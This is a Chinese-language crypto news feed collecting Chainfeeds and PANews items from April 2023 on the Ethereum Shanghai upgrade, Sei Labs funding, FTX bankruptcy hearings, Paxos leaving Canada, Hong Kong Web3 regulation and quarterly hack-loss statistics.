    Chainfeeds 导读： 本次 ETHBeijing 黑客松共有 57 个团队报名参赛，包括 Public Goods，Layer 2，Open Research 三个主赛道。Scroll CN 对其中 6 个参赛项目进行了专访，包括项目及团队介绍、对 Layer2 的看法及项目规划等内容。 文章来源： https://mp.weixin.qq.com/s/G4A4qGAZ6d42OW83to4vEw 文章作者： Scroll CN 观点： Scroll CN：1）GasLockR：提供了一种有效方式对冲 Gas 价格波动上涨的风险，利用 ZK 协处理器获取历史 Gas 价格，并根据实时更新的金融模型提供可验证的 Gas 定价；2）Deep Stack Fantasy：能够让开发者以更优效率的方式编写合约逻辑，而非救急如何将变量个数减少至 16 个以内，黑客松之后，我们将首要解决「invalid jump」的问题，随后计划对 Scroll 零知识证明的代码进行修改以实现对 EVM 新增两条扩展指令的功能； 内容来源 Scroll CN：3）Honeypot Finance：团队最早来自 BERA 的孵化器投资，但是鉴于 BERA 发展较慢，可能会 Fork 项目首发 Scroll。本次黑客松做了一个开源基金管理工具「y=e^x」，以基金形式持有一系列 DeFi 合约；4）Terminal 3：基于 AI 的 Crypto all-in-one 操作终端产品，用户可以通过该平台完成任意复杂的操作，同时平台提供可组合性的工作流编排，智能分析每一个工作流安全风险； 内容来源 Scroll CN：5）NirVANA：基于 ERC2535 的模块化 SBT 发行工具，支持合约部署后再次添加、替换及删除 模块，目前已支持 DAO 治理，社交恢复，ZK 验证模块。黑客松之后将会支持更多功能模块、SBT 协议及社区定制模块等；6）SLOADS：准备给以太坊智能合约框架 Foundry 添加一个 feature，能够非常方便检索智能合约里面的所有 storage slot，尤其是动态数据结构，例如 Array，Map。 内容来源  ( 33 min )
    【英文长推】盘点 zkSync 生态中值得关注的项目：Mute.io、SYNTHR、Derivio…
    Chainfeeds 导读： 自 3 月 24 日 zkSync Era 启动主网以来，流动性呈爆炸式增长，桥接了 2.12 亿美元。加密货币 KOL Emperor Osmo 介绍了 zkSync 生态中值得关注的 9 个项目。 文章来源： https://twitter.com/flowslikeosmo/status/1646166352531431428 文章作者： Emperor Osmo 观点： Emperor Osmo：1）Mute.io 旨在成为 zkSync 的中心。他们的旗舰平台提供了一套产品，包括：带限价订单的 AMM 交易平台、流动资金池、债券平台。通过债券，用户可以以折扣价购买 MUTE 来增加协议拥有的流动性。2）SYNTHR 专注于合成市场，为用户提供铸造、交易这些资产的能力。SYNTH 将从交易中收取费用，创造实际收益。【原文为英文】 内容来源 Emperor Osmo：3）Derivio 专注于为大众打造衍生产品，同时仍然满足机构需求。4）VivaLeva Protocol 正在 zkSync 上构建第一个杠杆收益挖矿协议。他们的目标是提供借贷和质押功能。用户将通过借出资金来接收生息代币，抵押代币以进一步增加他们的回报，并利用杠杆进行挖矿。【原文为英文】 内容来源 Emperor Osmo：5）Symbiosis 是去中心化交易所，它支持来自不同区块链的流动性流动，无论这些链是否启用 EVM。6）Galo Swap 正在 zkSync 上开发第一个 DEX 和 NFT 市场，提供四个独特的功能：LP 卡：创建头寸的 NFT；协议收入的实际收益；近零交易费；开源和审计代码。【原文为英文】 内容来源  ( 2 min )
    Sei Labs 生态基金完成 5000 万美元新一轮融资，Bitget 和 Foresight Ventures 参投
    Sei Labs 生态基金完成 5000 万美元新一轮融资，Bitget 和 Foresight Ventures 参投 据《财富》Fortune 报道，Sei Network 为其生态基金融资 5000 万美元，加密货币交易所 Bitget 、Foresight Ventures 参投，截止目前该公司的融资总金额已达到 1.2 亿美元。在最新的公共测试网中，Sei 已经处理了超过 4000 万笔交易，并有超过 360 万用户创建了钱包。 内容来源  ( 16 min )
    【英文】ve (3,3) 模式与 Uniswap 集中流动性有效性对比，谁更胜一筹？
    Chainfeeds 导读： Uniswap V3 集中流动性池已经发展了大约 2 年，并且已经积累了 28.3 亿美元 TVL。与此同时，ve (3,3) 模型在 2023 年也找到了产品适应性，现在已经积累了超 5 亿美元 TVL。加密研究员 levy 在对 ve (3,3) 模型和 Uniswap 进行评估后，认为 ve (3,3) 模式比 Uniswap 更适合作为 DeFi 核心基础设施。 文章来源： https://medium.com/@levysaur/solidly-deep-dive-pt-2-concentrated-liquidity-and-ve-3-3-vs-uniswap-84700d784699 文章作者： levy 观点： levy：导致 Uniswap V3 失去定价权的因素：1）Uniswap V3 集中流动性模式在市场高度波动时期可能无法发挥最佳作用；2）集中流动性不利于长尾资产的发展，由于 Uniswap V3 集中流动性模式要求 LP 积极管理其头寸，而新代币价格波动很大，LP 需要非常频繁调整价格范围，增加了管理成本。因此对于推出长尾资产池的新项目而言，使用 V3 的流动性管理门槛太高。【原文为英文】 内容来源 levy：ve (3,3) 模式的市场机会：1）通过激励机制的调整和贿赂市场进行优化；2）通过 ve (3,3) 模式交易所管理 CL 池，以克服 Uniswap V3 LP 挑战；3）通过 ve (3,3) 模式以代币奖励的形式增加 LP 收益，以抵消 Uniswap V3 资金池中的非永久性损失；4）ve (3,3) 模式可以聚集更多 TVL；5）ve (3,3) 代币经济学可以克服 Uniswap 面临的费用转换问题；6）相较于 Uniswap，ve (3,3) 模式更能抵御竞争风险。【原文为英文】 内容来源  ( 29 min )
    【英文】Dynamic 构建者：剖析以太坊 TypeScript 接口 viem，与其他接口有何不同？
    Chainfeeds 导读： 以太坊 TypeScript 接口 viem 由 Web3 前端开发库 wagmi 推出。那么相较于 Ethers 和 web3.js 等，viem 有哪些不同之处呢？Web3 身份验证初创公司 Dynamic 构建者 Itai Turbahn 撰文概述了 viem 的诞生、特别之处及面临的挑战。 文章来源： https://www.dynamic.xyz/blog/the-promise-of-viem-a-typescript-library-for-interacting-with-ethereum#the-birth-of-viem 文章作者： Itai Turbahn 观点： Itai Turbahn：viem 区别于其他接口的四个关键因素：1）viem 旨在通过模块化和可组合的 API、全面的文档及自动类型安全和推理为开发者提供更好的体验，虽然 API 比较冗长，但提供了更好的灵活性；2）viem 通过测试覆盖率实现稳定性；3）viem 拥有简约模块化架构和仅 35 kB 的 bundle，有助于减少对用户带宽的影响；4）viem 仅在需要时执行异步任务，并能够利用优化的编码算法。【原文为英文】 内容来源 Itai Turbahn：归根结底，在 ethers、web3js 和 viem 之间的选择取决于开发者的个人偏好和具体需求。对于优先考虑简单性、可靠性和效率的开发者而言，viem 可能是一个理想的选择。和其他接口不同，viem 能够让用户在选择自己意愿的同时保持合理和安全的默认值，且还为用户提供了强类型 API。此外，虽然 viem 前景巨大，但仍处于非常早期的发展阶段，可能面临的一个具体挑战是其简约的模块化架构可能需要开发者导入比预期更多的模块。【原文为英文】 内容来源  ( 8 min )
    稳定币发行商 Paxos 正在退出加拿大市场
    稳定币发行商 Paxos 正在退出加拿大市场 稳定币发行商 Paxos 正在退出加拿大市场。Paxos 在一封电子邮件中告知加拿大客户，「Paxos 已经决定不再支持加拿大客户，鉴于您的 Paxos 账户没有资金，您的账户将于 2023 年 5 月 9 日被禁用。」据一位知情人士透露，此举是由于监管原因。Paxos 一位发言人表示，「虽然 Paxos 在近期内将不再支持加拿大客户，但我们将根据客户需求的变化重新评估我们在加拿大地区的业务需求。」 内容来源  ( 163 min )
    多链隐私区块链 Namada 提议向 ZEC 持有者空投其质押代币 NAM
    多链隐私区块链 Namada 提议向 ZEC 持有者空投其质押代币 NAM 专注于多链隐私的区块链 Namada 提议向 Zcash 代币 ZEC 持有者空投其即将推出的 Namada 质押代币 NAM。据悉，ZEC 持有者可以选择匿名认领 NAM，且能够比非匿名的 ZEC 持有者认领获得更多空投。Namada 背后基金会 Anoma Foundation 表示将于 2023 年 5 月推出主网，之后将最终确定空投的确切时间和机制。此外，基金会还表示将分配至少 20% 的初始 NAM 供应量用于追溯性公共物品资助，例如 Zcash。Namada 已经向 Zcash 社区发起建议，正在寻求研究和开发方面的合作。 内容来源 观点： Christopher Goes：如果没有 Zcash 社区的技术贡献和社会经济计划，Namada 不可能成功推出。【原文为英文】 内容来源  ( 28 min )
    CZ：没有监管明确性非常糟糕，监管机构需要行业经验
    CZ：没有监管明确性非常糟糕，监管机构需要行业经验 币安首席执行官 CZ 在「2023 香港 Web3 嘉年华」活动中表示，「相较于不合理的限制性法规，没有监管明确性是非常糟糕的。监管机构从传统金融行业借用准则并应用于加密货币，这种习惯并不合理，加密货币是一个新生行业，应该允许它成长。因此积极与监管机构接触很重要。过去几年内，币安已经聘请了几位合规高管，且在几个监管机构注册了实体。我们需要与监管机构进行对话，我们也需要有耐心。」此外，CZ 表示，监管机构试图通过关闭银行、法币通道，在传统金融市场设置更多限制来控制加密货币，但这只会将更多人推向加密货币领域。且传统金融领域缺乏改进，这将有助于并将继续支持加密货币大规模采用。 内容来源  ( 164 min )
    以太坊已完成上海升级
    以太坊已完成上海升级 据欧科云链 OKLink 显示，以太坊已于北京时间 2023 年 4 月 13 日 6:27 完成上海升级（Epoch 为 194048 时进行），区块高度为 6209536，当前以太坊质押量约 1815 万枚，质押率 15.07%。 内容来源 观点： ChainFeeds：据 Nansen 仪表盘显示，目前等待提款的实体中 Huobi（29.3%）位列第一，其次是 Others（20.3%）、PieDAO（16.7%）、Heavy Dex Trader 0xa3d（10.7%）、Kraken（7.84%）。 内容来源 ChainFeeds：截至目前，以太坊完成上海升级后已净提款约 2.116 万枚以太坊，净存入 928 枚，待提取数量为 32.16 万枚 ETH。 内容来源 Coinbase：Shapella 升级已完成，祝贺以太坊社区！Coinbase 现已启用 ETH 解除质押功能。【原文为英文】 内容来源 ConsenSys：ConsenSys 开放以太坊上海升级纪念 NFT 系列「Ethereum，Evolved：Shanghai」公开版本铸造。该系列包括两个版本，纪念版本包括一个描述流动性和安全性主题的艺术 NFT，第二个公开版本包括一个描述去中心化主题的 NFT。铸造窗口将开放 72 小时，所有用户都可使用 MetaMask 钱包免费领取（不包括 Gas 费）。此外，为了感谢核心开发者及贡献者，纪念版本将于上海升级上线后第二天空投给以太坊核心开发者。【原文为英文】 内容来源 Joy Lou（了得资本合伙人）：明早 10：30 开始有抛压，现在网站上的数据提出来的 ETH 都卖不了，现在提的都是 Lido 的；真正要卖的明天才能提出来，抛压大概在 10w 至 20w 枚 ETH/day。 内容来源  ( 1 min )

  • Open

    美联储3月份会议纪要：银行业动荡或将导致经济轻微衰退，5月可能继续加息
    PANews 4月13日消息，美联储周三公布了3月份会议纪要。这一份最新的会议纪要显示，在上个月的FOMC会议上，好几位与会者曾考虑是否应该在此次会议上保持利率不变，但他们指出，已采取的行动有助于缓解通胀并降低短期风险，这促使他们认为加息是合适的选择。与会者们认为除住房外的核心服务方面很少有指向通货紧缩的证据，他们评估劳动力需求大大超过供应。因为银行业动荡，美联储预测，2023年晚些时候将出现轻微的经济衰退。尽管经济衰退的可能性增加，联储官员仍暗示，5月的下次会议还可能继续加息。一些与会者观察到，由于银行业的发展可能导致信贷条件进一步收紧并对失业率产生影响，经济增长的下行风险和失业率的上行风险已经增加。此外，由于银行业可能对经济和通胀产生影响，部分原本支持加息50个基点的决策者改为支持加息25个基点，最终导致FOMC全员一致投票支持加息25个基点。  ( 1 min )
    法官拒绝SBF使用FTX保险支付其法律费用
    PANews 4月13日消息，据The Block报道，SBF被拒绝使用FTX的董事和高管保险计划来支付其法律费用。在周三的听证会上，破产法院法官John Dorsey否决了SBF申请使用1000万美元保单支付律师费用的动议。法官John Dorsey表示，SBF没有提供任何证据证明他需要使用这项保险计划。专家估计，SBF的法律费用可能高达数百万美元。FTX的律师指出，FTX其他现任和前任员工也有资格使用该保险，SBF拥有特殊权限是不公平的。  ( 1 min )
    以太坊上海升级已完成
    PANews 4月12日消息，以太坊上海升级已于北京时间13日6点28分在Epoch 194048高度完成。据欧科云链OKLink数据显示，当前以太坊累计质押量约1815万枚，质押率15.07%，年化收益率为3.76%。2022年9月，以太坊成功过渡到权益证明 (PoS) 共识机制，质押32个ETH即可成为验证者。此次上海升级增加了取款功能，用户可提取质押的ETH及相关收益。  ( 1 min )
    Azuki：已重新控制Instagram账户，Meta正调查账户被盗原因
    PANews 4月13日消息，NFT项目Azuki推特发文称，团队已经重新控制了Instagram账户，Meta目前正在调查账户被盗原因。Azuki提醒用户，其公告仅通过Discord、推特和官方网站几个渠道发布。据此前消息，Azuki推特发文称其官方Instagram账户被盗。  ( 1 min )
    Aptos推出2000万美元奖励计划，鼓励艺术家进行链上创作
    PANews 4月13日消息，据The Block报道，Aptos宣布将推出2000万美元的艺术家奖励计划，以鼓励艺术家使用Aptos区块链进行创作。创作者可以在Aptos基金会的网站上提交申请。Aptos将向获奖者提供资金和“基础设施接入”，帮助其“最大限度地利用”公司的生态系统。Aptos表示，它已经向热衷于使用其区块链创建Web3项目的艺术家和创作者提供了300万美元。  ( 1 min )
    Paxos将于下个月退出加拿大市场
    PANews 4月13日消息，据The Block报道，加密金融服务提供商Paxos将退出加拿大市场。该公司今天在一封电子邮件中告知加拿大客户，“Paxos已经决定不再支持加拿大的客户。鉴于您的Paxos帐户余额为零，您的帐户将于2023年5月9日被禁用”。知情人士透露，Paxos做出此举是出于监管原因。Paxos的一位发言人表示，“Paxos专注于为企业客户服务。虽然短期内将不再支持加拿大客户，但将根据客户需求变化，重新评估我们在该地区的业务”。上周，去中心化加密衍生品交易平台dYdX表示，它已停止加拿大新用户的注册。今年2月，加拿大证券管理局发布了新规定，警告加密交易所和交易平台遵守“加强的投资者保护承诺”。  ( 1 min )
    FTX破产律师：已收回73亿美元流动资产，交易所或将重新开放
    PANews 4月13日消息，据CoinDesk报道，FTX首席律师Andy Dietderich在周三举行的法庭听证会上表示，FTX正考虑在未来某个时候重新开放。讨论的一种可能选项是，让FTX的债权人将其持有的部分权益转换为重新开放的交易所的股份。消息传出后，FTX原生代币FTT价格上涨超过一倍。然而，该律师强调，重启交易所只是众多可能性之一，并非最终决定。如果采取这一方式，将需要筹集大量资金，目前公司内部关于资金应来自FTX还是第三方存在争论。此外，FTX的律师还向法庭表示，他们已经收回了73亿美元的流动资产，高于1月份的19亿美元，但FTX远未到“股权分配”阶段。  ( 1 min )
    破产法院：Alameda Research应被偿还5300万美元的Deltec贷款
    PANews 4月13日消息，特拉华州一名法官周三裁定， FTX 的交易部门 Alameda Research 应被偿还一笔近5300万美元的贷款。这笔于2021年向Deltec International Group提供的贷款最初由FTX的 Ryan Salame批准。破产法官约翰·多西 (John Dorsey) 在一项命令中表示，特此授权并指示Deltec向Alameda支付相当于 52,859,644 美元的金额，外加每天 10,538 美元的利息。Deltec是一家开曼群岛公司，其银行部门为稳定币公司Tether提供服务。  ( 1 min )
    独家：Hashkey Group旗下合规交易所Hashkey Pro即将上线
    PANews 4月12日消息，PANews从内部人士处获悉，Hashkey Group将很快推出名为Hashkey Pro的合规交易所，预计将在今年二季度上线，且已获得香港证监会许可。HashKey Pro上线后将先向机构和合格投资者开放。该交易所已确认有香港本地和中国背景的银行合作伙伴，通过直接银行转账支持美元出入金。 今日早些时候，Hashkey Group宣布将推出生态积分HSK，根据白皮书，早期在HashKey PRO上注册、交易、提供流动性的用户都可以获得生态系统奖励。同时，HSK还可以享有交易手续费折扣，以HSK结算的Maker交易费用最低可以完全免除；免除特定资产的提币费；提前交易新上线的资产；访问新产品和升级功能。 相关阅读：HashKey Group将发布生态积分，一文读懂HSK的权益和分配机制  ( 1 min )
    李小龙家族与Shibuya合作发行以李小龙为主题的NFT系列
    PANews 4月12日消息，Web3视频平台Shibuya宣布正在与来自李小龙基金会的香农·李（Bruce Lee 女儿）合作发行以李小龙为主题的公开版本的NFT系列 — — 这是李小龙家族第一次在Web3中尝试，并由Shibuya支持的公开版，持续36小时，每张票价15美元或0.008 ETH，用作进入 "Lee之家" 的门票，从北京时间4月12日晚间11点开始。 去年底，Web3视频平台Shibuya完成690万美元融资，a16z Crypto和Variant领投。  ( 1 min )
    PA日报 | Sei Labs生态基金完成5000万美元融资；陈茂波将担任Web3Hub基金主席
    今日要闻提示： 1.香港财政司司长陈茂波将担任Web3Hub基金主席 2.NBA Top Shot发布2023季后赛专属数字藏品“Redemptions” 3.a16z发布2023 Crypto现状报告，并推出加密货币状态指数 4.DWF Labs回应质疑：投资通过多种方式和分批进行，资产存在CEX上系考虑到安全和资本效率 5.比特大陆薪酬改革涉嫌年龄歧视，员工称将维权 6.Sei Labs完成两轮共计3000万美元战略融资，Jump等参投 7.Sei Labs生态基金完成5000万美元新一轮融资，Bitget和Foresight Ventures参投 8.数据：2023 Q1加密行业融资规模总计24亿美元，融资笔数环比增长约20% 监管消息 香港SFC要求DeFi项目需要持牌并受监管 在美国推出DeFi风险报告后，香港证券及期货事务监察委员会(SFC)中介机构部临时主管蔡钟辉在今天的“2023香港Web3嘉年华” 上表示，DeFi项目需要受到SFC的监管，自动交易服务也是属于SFC监管之列，去中心交易所如果涉及到虚拟资产，也需要申请牌照；一些DeFi协议名义上是去中心化的，现实中少量开发方持有大量治理代币，需要分析其实质性而不是表面的说法。 在此次峰会上，香港立法会议员邱达根表示，香港拟从三个方向打造国际Web3枢纽，包括针对虚拟资产服务；香港贸发局副总裁刘会平表示，若Web3能解决香港中小企业痛点，贸发局将非常愿意合作。香港财政司司长陈茂波表示，现在是Web3发展的黄金机遇，也是惊心动魄的时刻。此外，陈茂波将担任Web3Hub基金主席。杭州市与香港今日正式签署Web3产业联动备忘录。 英国央行行长贝利：稳定币需要像内部货币一样受到监管。 NFT Moonbirds：Mythic Eggs将于4月17日启动申领 据官方推特，NFT项目Moonbirds宣布Mythic Eggs将于4月17日启动申领。 Mythic Eggs是Moonbirds即将推出的PFP系列Moonbirds Mythics的一部分，代表了Moonbirds生态系统的第一次官方扩展，分为三类：石蛋、符文蛋和传奇蛋。 NBA Top Shot发布2023季后赛专属数字藏品“Redemptions” 据官方推特，NBA Top Shot宣布推出2023季后赛专属数字藏品“Redemptions”，用户将有机会持有、兑换球员在第一轮、半决赛、分区决赛和NBA总决赛中的Moment NFT，球队走得越远，持有的“Redemptions” NFT就越稀缺，该藏品系列预计将在美东时间4月17日发布。 元宇宙 马斯克购入约1万块GPU以筹备生成式AI等项目，而其此前曾呼吁暂停AI开发 据金十报道，马斯克近期购买了约1万块GPU，用于Twitter 的两个数据中心之一。该项目涉及创建一个生成式人工智能，Twitter将根据自己的海量数据进行训练。目前还不清楚Twitter将如何利用这项技术，但生成式人工智能可以增强Twitter的搜索功能或帮助重建其广告业务。 此前3月消息，马斯克等千名科技人士发公开信，呼吁暂停训练比GPT-4更强大的AI系统。 项目动态 赵长鹏：币安下架代币不会提前通知项目方，下架QLC因该项目发展迟缓 Web3社交媒体平台Kepple（原QLC Chain）发推文称：“团队已经等待币安的决定数周了，希望获得对QLC至KPL代币互换的支持。然而，我们在没有事先通知的情况下被下架了。”对此，币安首席执行官赵长鹏回应称：“我们不会‘提前通知’项目团队下架，项目团队没有理由在用户之前有机会行动/交易。我们同时通知所有用户。” 此外，赵长鹏在回答其他推特用户的推文中进一步解释道：“我被告知：该项目几年没有太大的发展，最近‘卖’给了另一个项目，目前不符合我们的上市标准。”此外，赵长鹏强调：“我们会定期下架低于特定标准的项目。例如没有活跃的开发者，没有进展等。” 此前昨日消息，币安将下架QLC、NEBL和AUTO。 PayPal前总裁旗下创业公司Lightspark公布其基于比特币网络的产品套件 据The Block报道，前PayPal总裁David Marcus的新创业公司Lightspark今日凌晨公布了其产品套件，它建立在比特币网络之上，特别是一种称为闪电网络的第2层协议。Lightspark将该平台称为“闪电网络的第一个企业级入口点”。Marcus认为，由于比特币的相对规模和更安全的监管基础，构建必要的工具可使闪电网络更易于使用，这是一条比依赖替代区块链更好的途径。 据一位不愿透露姓名的知情人士透露，Lightspark去年以近10亿美元的估值完成约1.73亿美元融资。此前去年5月消息，Lightspark完成由a16z和Paradigm领投的融资，但当时未披露具体金额。 DWF Labs回应质疑：投资通过多种方式和分批进行，资产存在CEX上系考虑到安全和资本效率 针对推特用户Nay的推文，DWF Labs管理合伙人Andrei Grachev在领英上发文阐释其愿景、工作流程和投资主题以作为回应。Grachev表示：“DWF Labs的主要投资对象是Layer1/Layer2协议，投资目标的第二部分包括最有前途和最主流的利基市场，如GameFi、Guilds、DeFi、Web3衍生品、Web3社交平台、AI、DAO，有时还包括meme币。然后我们可以围绕我们的投资组合公司，寻找相互之间的协同效应，积极推动它们的发展。” 对于投资理念和价值主张，Grachev表示：“我们不是“纯金钱”投资者，我们是我们投资组合项目的合作伙伴和朋友。”对于投资的评估过程，其表示：“重点是市场叙述、社区规模和参与度、项目的愿景和团队、技术、交易所（如果项目已上市）和市场数据。根据项目的得分，我们会调整我们的支票规模和潜在合作的条件。我们知道筹款过程有多么复杂，我们一直在努力寻找支持企业家的方法。我们如何以及何时投资——我们通常在SAFT投资种子前和种子阶段。如果代币已经上市且可交易，我们还会根据解锁时间表和锁定期或分批进行投资。除了投资，我们通常会带来额外的支持。” 对于资产的托管和余额管理。Grachev表示：“出于安全原因和资本效率（我们可以使用代币作为交易抵押品），我们将几乎所有资产存储在CEX上，以及有时我们与项目分担风险并使用我们自己的余额进行做市。风险管理我们从不投资任何 NFT，我们根据交易对手风险调整我们的投资，我们从不在链上钱包中存储太多资金——做市商和资金被黑客攻击的案例太多了，我们不想成为受害者。” 此前昨日消息，推特用户Nay表示，DWF Labs很多公开的投资交易与链上数据不匹配。 Metalpha将在香港推出基于灰度的数字资产基金，目标筹资1亿美元 据CoinDesk报道，香港数字资产管理公司正在该地区推出一只持牌基金，让投资者接触灰度（Grayscale）的数字资产产品包括Grayscale Bitcoin Trust (GBTC)，也支持赎回。 Metalpha将这只基金称为“下一代基金”，自3月份开始融资以来，Metalpha自3月以来已为该新基金筹集2000万美元，目标是筹集1亿美元。据悉，该基金由NextGen Digital Venture发起，由前阿里巴巴集团控股有限公司联合创始人蔡崇信的家族办公室Blue Pool Capital的Jason Huang领导。 Binance.US将下架Spell(SPELL)和TRON(TRX) 据官方公告，Binance.US将于2023年4月18日下架Spell(SPELL)和TRON(TRX)。Binance.US上的SPELL和TRX存款将于PDT时间4月17日19:00（北京时间4月18日10:00）关闭。在此时间之后的SPELL或TRX存款将不会记入帐户。 SPELL和TRX的提款将保持开放。 对此，孙宇晨表示，这不会影响TRX市场，TRX每日交易量约为4亿美元，而在Binance.US上的交易量仅为不到200万美元；目前正在与Binance.US积极沟通，以了解被下架原因并谋求重新上线。 香港众安银行将通过持牌交易所提供加密货币到法定货币的兑换服务 据彭博社报道，香港众安银行（ZA Bank）首席执行官Ronald Iu在周二接受采访时表示，香港众安银行将通过持牌交易所提供加密代币到法定货币的兑换服务。Ronald Iu表示，众安银行将作为客户的结算银行，允许他们在交易所存入加密代币后，以香港、中国和美国货币取款。 Ronald Iu还表示，该商业模式已经与HashKey和OSL一起运作，这是香港目前仅有的两家获得许可的加密货币交易所。众安银行也将为获得许可的其他交易所提供相同的服务。 a16z发布2023 Crypto现状报告，并推出加密货币状态指数 a16z发布2023 Crypto现状报告，并推出加密货币状态指数，旨在从技术而非金融角度跟踪加密行业健康状况。该指数代表了14个行业指标的加权平均每月增长，从经过验证的智能合约的数量到交易钱包的数量等等。该报告旨在解决短暂价格波动的影响与跟踪重要信号 (包括Web3技术持久进步) 的数据之间的不平衡。总体而言，该报告反映了一个比市场价格可能表明的更健康的行业，以及一个稳定的开发、产品发布和持续创新周期。 阿根廷期货交易所Matba Rofex将于5月推出拉美首个受监管的比特币期货 据金十报道，阿根廷期货交易所Matba Rofex当地时间周二获得阿根廷证券监管机构CNV授权，将推出受监管的比特币期货。Matba Rofex总裁Andres Ponte在一份短信声明中表示，“我们是第一家推出受监管比特币期货的拉丁美洲交易所，”该交易所将从5月开始交易这些工具，可能会要求投资者存入约40%的期货合约价值的保证金。据悉，该产品的基础资产将为比特币价格指数，该指数基于12个不同的当地加密交易所，以阿根廷比索实时发布资产价格。 韩国数字资产交易所协会DAXA成员将联合下架OMG和SRM 据Upbit公告，韩国数字资产交易所协会DAXA的成员计划终止对OmiseGO (OMG)和Serum (SRM)的交易支持，因OmiseGO网络运行不正常（如难以验证网络正常出块），以及Serum项目没有正常运行，其协议无法使用。Upbit预计将于北京时间4月26日13:00下架OmiseGO (OMG)和Serum (SRM)，涉及的交易对为OMG/KRW、OMG/BTC、OMG/USDT以及SRM/KRW、SRM/BTC。 HashKey Group推出生态积分HSK：总供应量为10亿枚，65%将分配给生态增长 据官方博客，数字资产金融服务提供商HashKey Group宣布推出生态积分HSK，总供应量为10亿枚，其中65%的HSK将分配给生态增长，30%分配给团队，5%分配给储备金。HSK将作为使用HashKey交易所业务的奖励发放，未来将扩展到更多业务线奖励计划。HSK将定期从循环供应中回购和销毁，以抵消奖励分配的稀释效应。 FTX：已授权并指示Ren Protocol将所有加密资产移到FTX债务人的冷钱包 资产跨链协议Ren Protocol在推特上分享了一则FTX官方发布的公告：“我们希望告知Ren社区，FTX Trading Ltd.、West Realm Shires Services Inc.、Alameda Research LLC、Maclaurin Investments Ltd.及其某些附属公司（统称为“FTX债务人”）购买了Ren Protocol实体的股份和所有资产，授权并指示Ren Protocol实体将所有加密货币资产转移到FTX债务人的冷钱包中，以便在基础设施和系统可能关闭之前进行保护。加密货币资产将转移到Ren为这些资产指定的独立隔离钱包冷钱包，与其他债务人冷钱包分开。” SushiSwap：将向用户提供已收回资金索赔申领网站 据官方推特，SushiSwap发布RouteProcessor2漏洞和用户退款更新：“对于已经回收的白帽资金，团队将制作一个Merkle Claim合约和一个网站，以移除任何剩余的RouteProcessor2批准并将用户资金返还至其钱包；对于无法收回的黑帽资金，Sushi团队将建立一个索赔流程，用户可以选择加入，将根据具体情况管理索赔。黑帽资金将需要更长的时间来处理，因为团队将根据链上数据手动验证索赔的合法性，然后相应地进行支付。” 此前4月9日消息，SushiSwap项目遭遇攻击，损失约334万美元。一攻击者已归还90枚ETH，且项目方已从CoffeeBabe追回超300 ETH的被盗资金。 游戏硬件设备公司Razer推出Web3孵化器 据Decrypt报道，知名视频游戏硬件和外围设备公司 Razer(雷蛇) 现在正在通过其新的 zVentures Web3 孵化器 (ZW3I) 资助Web3游戏项目。Razer区块链总监 Lawrence Lin 表示，该孵化器将专注于提供营销支持，将孵化多达 36 个项目，尽管是一家专注于 PC 游戏的公司，但不会排除手游。 融资消息 Sei Labs完成两轮共计3000万美元战略融资，Jump等参投 据Globenewswire报道，公链Sei开发团队Sei Labs宣布完成两轮共计3000万美元战略融资，Jump、Distributed Global、Multicoin、Asymmetric、Flow Traders、Hypersphere和Bixin Ventures等参投。 新资金将用于其开发人员构建性能更高的Web3应用程序，加速Sei Labs的持续增长，并深化推进其在亚太地区的业务。据悉，Sei Labs由高盛前技术投资银行家Jeff Feng和Robinhood前软件工程师Jay Jog创立。 Sei Labs生态基金完成5000万美元新一轮融资，Bitget和Foresight Ventures参投 据《财富》Fortune报道，在刚刚完成一轮估值为8亿美元的融资后，Sei Labs再次宣布其生态基金完成5000万美元新一轮融资，总部位于塞舌尔的加密货币交易所Bitget和Foresight Ventures参投，截止目前该公司的融资总金额已达到1.2亿美元。据悉，在一个月前推出的最新公共测试网中，Sei已经处理了超过4000万笔交易，并有超过360万用户创建了钱包。 矿业消息 吴忌寒旗下矿业公司比特小鹿将于4月14日上市纳斯达克 据GLOBE NEWSWIRE报道，吴忌寒旗下矿业公司比特小鹿（Bitdeer）宣布他们之前宣布的企业合并在4月11日的Blue Safari临时股东大会上获得批准， 企业合并预计将于2023年4月13日完成。完成后，Bitdeer Technologies Group仍将作为合并后的公司，其股票预计将于2023年4月14日在纳斯达克开始交易，股票代码为“BTDR”。 比特大陆薪酬改革涉嫌年龄歧视，员工称将维权 据集微网报道，今年一季度以来，比特大陆开始执行员工结构薪酬改革，并且在进行绩效考核时加入“年龄分”，基准年龄之上，年纪越大扣分越多。有涉事员工认为此举违反劳动法，并表示将拿起法律武器维权。 一位比特大陆员工王为告诉集微网，在最新的薪酬调整方案中，原本的固定工资调整为基础工资+绩效工资两部分，而绩效工资与职级挂钩，T3x、T4x、T5x三档职级绩效工资比例分别为30%、50%、70%。在绩效考核时，最终的分数还与年龄挂钩，如果年龄超过基准线，绩效就要扣分。 据一位业内人士则分析，比特大陆2022年营收或超过100亿美金。因此，资金问题应该不会是造成比特大陆这次薪酬改革的主要原因。 重要数据 数据：一季度Web3领域攻击事件总损失金额约2.95亿美元，环比下降77% 据区块链安全审计公司Beosin旗下Beosin EagleEye安全风险监控、预警与阻断平台共监测，2023年第一季度，监测到Web3领域主要攻击事件61起，总损失金额约为2.95亿美元，较2022年第4季度下降了约77%。2023年第一季度的总损失金额低于2022年的任何一个季度。除攻击事件外，2023年第一季度还监测到主要Rug Pull事件41起，涉及金额约2034万美元。 DeFi为本季度被攻击频次最高、损失金额最多的项目类型。42次安全事件总损失金额达到了2.48亿美元 ，占总损失金额的84%。80.8%的损失金额来自Ethereum，居所有链平台的第一位。本季度损失金额最高的攻击手法为闪电贷攻击，8次闪电贷事件损失约1.98亿美元；攻击手法频率最高的为合约漏洞利用，27次攻击占所有事件数量的44%。本季度约有2亿美元的被盗资产得以追回。本季度资金追回的情况优于2022年的任何一个季度。被攻击的项目中，仅有41%的项目经过了审计。 数据：2023 Q1加密行业融资规模总计24亿美元，融资笔数环比增长约20% 据Blockworks报道，据Galaxy Digital最新数据显示，2023年一季度加密行业总计发生了439笔投融资交易，与2022年第四季度的366笔相比增长了约20%，其中种子阶段融资交易占比较高，不过一季度加密行业投融资规模只有24亿美元，创下自2020年第四季度以来的最低水平。在垂直领域方面，Web3、NFT、DAO、元宇宙和游戏子行业获得的融资交易最多，而加密交易、借贷、钱包等子行业获得的融资规模较高。此外，美国的加密初创公司获得投资数量最多，其次是法国。  ( 3 min )
    英国央行行长贝利：稳定币需要像内部货币一样受到监管
    PANews 4月12日消息，英国央行行长贝利表示，稳定币需要像内部货币一样受到监管。必须确保金融稳定继续意味着，货币政策要考虑到金融状况，但不必以不稳定为目标。  ( 1 min )
